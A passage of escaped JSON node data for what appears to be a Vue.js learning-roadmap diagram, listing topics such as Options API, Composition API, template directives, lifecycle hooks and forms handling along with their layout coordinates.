999,\n      \"width\": 159,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 159,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 344.5448461352869,\n        \"y\": 374.33464066194904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 159,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"OpJ2NMKCGXQezpzURE45R\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -293.59797432485874,\n        \"y\": 335.33464066194904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"API Styles\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bx1Atxcf15AEaA1BiSIc6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 128,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 128,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.59797432485874,\n        \"y\": 335.33464066194904\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 128,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PPUU3Rb73aCpT4zcyvlJE\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8364531870259,\n        \"y\": 311.5660709449147\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Options API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -519.8364531870259,\n        \"y\": 311.5660709449147\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a0qwdQTunxEjQ9A5wpF-q\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8364531870259,\n        \"y\": 364.56607094491454\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Composition API\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": -519.8364531870259,\n        \"y\": 364.56607094491454\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"qRm08uDZW-D8QDc-9sPX8\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -240.45968546864998,\n        \"y\": 152.74910795099487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"App Configurations\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tU4Umtnfu01t9gLlnlK6b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 192,\n      \"height\": 49,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": -240.45968546864998,\n        \"y\": 152.74910795099487\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 192,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ftqDoGpwqqWQnu4NQSsMk\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 521.9023298779132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rendering Lists\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dxwKfBxd5KYVkfEPMdHp-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 521.9023298779132\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1oIt_5OK-t2WaCgaYt9A8\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8364531870259,\n        \"y\": 99.74910795099487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Error / Warn Handler\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f7N4pAp_jBlT8_8owAcbG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -519.8364531870259,\n        \"y\": 99.74910795099487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gihxGgt177BK_EYsAfpx9\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8364531870259,\n        \"y\": 152.74910795099487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Global Properties\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"f7N4pAp_jBlT8_8owAcbG\"\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -519.8364531870259,\n        \"y\": 152.74910795099487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f7N4pAp_jBlT8_8owAcbG\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -519.8364531870259,\n        \"y\": 205.74910795099487\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Performance\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 209,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 209,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": -519.8364531870259,\n        \"y\": 205.74910795099487\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 209,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"tU4Umtnfu01t9gLlnlK6b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 468.90232987791325\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditional Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 468.90232987791325\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NCIzs3jbQTv1xXhAaGfZN\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 515.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-text\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 515.560061206005\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"bZxtIBeIfeUcR32LZWrPW\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 424.093620869392,\n        \"y\": 515.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-html\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 424.093620869392,\n        \"y\": 515.560061206005\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_TlbGTKFCMO0wdLbC6xHX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 716.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-show\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Xv5oqDolAOVnNLXDQbeSc\"\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 716.560061206005\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"xHj3W9Ig3MVuVlGyXchaP\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 768.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-if\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 103,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 103,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 768.560061206005\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 103,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0CtAZQcFJexMiJfZ-mofv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 425.60847046222204,\n        \"y\": 768.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-else\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 107,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 107,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 425.60847046222204,\n        \"y\": 768.560061206005\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 107,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"a9caVhderJaVo0v14w8WB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 820.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-else-if\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 820.560061206005\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"3ftwRjQ9e1-qDT9BV53zr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 911.0003386751386\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-for\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 911.0003386751386\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hVuRmhXVP65IPtuHTORjJ\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 1001.0824225237909\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-on\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 216,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 216,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 1001.0824225237909\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 216,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cuM9q9vYy8JpZPGeBffd1\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 567.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-bind\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 567.560061206005\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"cxu2Wbt306SxM4JKQQqnL\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 424.093620869392,\n        \"y\": 567.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 424.093620869392,\n        \"y\": 567.560061206005\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"m9pQ3daR3KiwRATcQysHA\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 319.60847046222204,\n        \"y\": 1090.7930632441885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-slot\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"RrSekP8Ub01coegMwLP6a\"\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 319.60847046222204,\n        \"y\": 1090.7930632441885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"T4gBws699f0L6_2KitOmO\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 358.60847046222204,\n        \"y\": 480.810061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Interpolation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jFgWJnXJlysaz8pDkUKZf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 114,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 358.60847046222204,\n        \"y\": 480.810061206005\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 114,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"0bGhocvW0638QjfmkB1H1\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 358.60847046222204,\n        \"y\": 677.810061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Conditionals\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jFgWJnXJlysaz8pDkUKZf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 358.60847046222204,\n        \"y\": 677.810061206005\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"qS8aEgb48igiqQ_hDEm-b\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 384.8072938863818,\n        \"y\": 875.0003386751386\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Iterative\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jFgWJnXJlysaz8pDkUKZf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 384.8072938863818,\n        \"y\": 875.0003386751386\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"5k9CrbzhNy9iiS6ez2UE6\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 316.3072938863818,\n        \"y\": 619.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-once\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"mlsrhioiEkqnRIL6O3hNa\"\n      },\n      \"zIndex\": 999,\n      \"width\": 104,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 104,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 316.3072938863818,\n        \"y\": 619.560061206005\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 104,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mlsrhioiEkqnRIL6O3hNa\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 424.093620869392,\n        \"y\": 619.560061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-pre\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"cuM9q9vYy8JpZPGeBffd1\"\n      },\n      \"zIndex\": 999,\n      \"width\": 112,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 112,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 424.093620869392,\n        \"y\": 619.560061206005\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 112,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"MZ38pZ5MykwdjjWdpd6bQ\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 362.3072938863818,\n        \"y\": 965.0824225237909\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Event Binding\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"jFgWJnXJlysaz8pDkUKZf\"\n      },\n      \"zIndex\": 999,\n      \"width\": 124,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 362.3072938863818,\n        \"y\": 965.0824225237909\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 124,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"jFgWJnXJlysaz8pDkUKZf\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 376.1806160048882,\n        \"y\": 1052.9006472331898\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Templates\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 96,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 376.1806160048882,\n        \"y\": 1052.9006472331898\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 96,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"RrSekP8Ub01coegMwLP6a\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 426.60847046222204,\n        \"y\": 1090.7930632441885\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-cloak\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 101,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 101,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 426.60847046222204,\n        \"y\": 1090.7930632441885\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 101,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"_dQbXoFTJHaOARTWDUeHY\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 36.95321815869033,\n        \"y\": 371.83464066194904\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Rendering\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"kPzzrnb2DRHlJ7piaywDe\"\n      },\n      \"zIndex\": 999,\n      \"width\": 147,\n      \"height\": 54,\n      \"style\": {\n        \"width\": 147,\n        \"height\": 54\n      },\n      \"resizing\": false,\n      \"positionAbsolute\": {\n        \"x\": 36.95321815869033,\n        \"y\": 371.83464066194904\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 147,\n        \"height\": 54\n      }\n    },\n    {\n      \"id\": \"RRPhAxIqvAcjZIcLe_N8-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 574.9023298779132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Optimizing Renders\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dxwKfBxd5KYVkfEPMdHp-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 574.9023298779132\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dxwKfBxd5KYVkfEPMdHp-\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 627.9023298779132\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Debugging\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"tU4Umtnfu01t9gLlnlK6b\"\n      },\n      \"zIndex\": 999,\n      \"width\": 219,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 219,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 0.9532181586903334,\n        \"y\": 627.9023298779132\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 219,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WiGG9_4G5y-AVA9byw6_g\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -293.52532545570534,\n        \"y\": 467.810061206005\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Lifecycle Hooks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bx1Atxcf15AEaA1BiSIc6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.52532545570534,\n        \"y\": 467.810061206005\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"PQu4TyJOfCEaafW5th0e4\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": -293.59797432485874,\n        \"y\": 591.0683595993249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Forms Handling\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Bx1Atxcf15AEaA1BiSIc6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 175,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 175,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -293.59797432485874,\n        \"y\": 591.0683595993249\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 175,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"NfB3HlZ3uwYK5xszvV50b\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5059150365778,\n        \"y\": 538.0683595993249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Input Bindings\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5059150365778,\n        \"y\": 538.0683595993249\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"gMFndBcrTC6FtGryqN6dX\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": -514.5059150365778,\n        \"y\": 591.0683595993249\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"v-model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dSfrFLr8wKkLAOMJwtCTr\"\n      },\n      \"zIndex\": 999,\n      \"width\": 157,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 157,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": -514.5059150365778,\n        \"y\": 591.0683595993249\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 157,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dSfrFLr8wKkLAOMJwtCTr\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 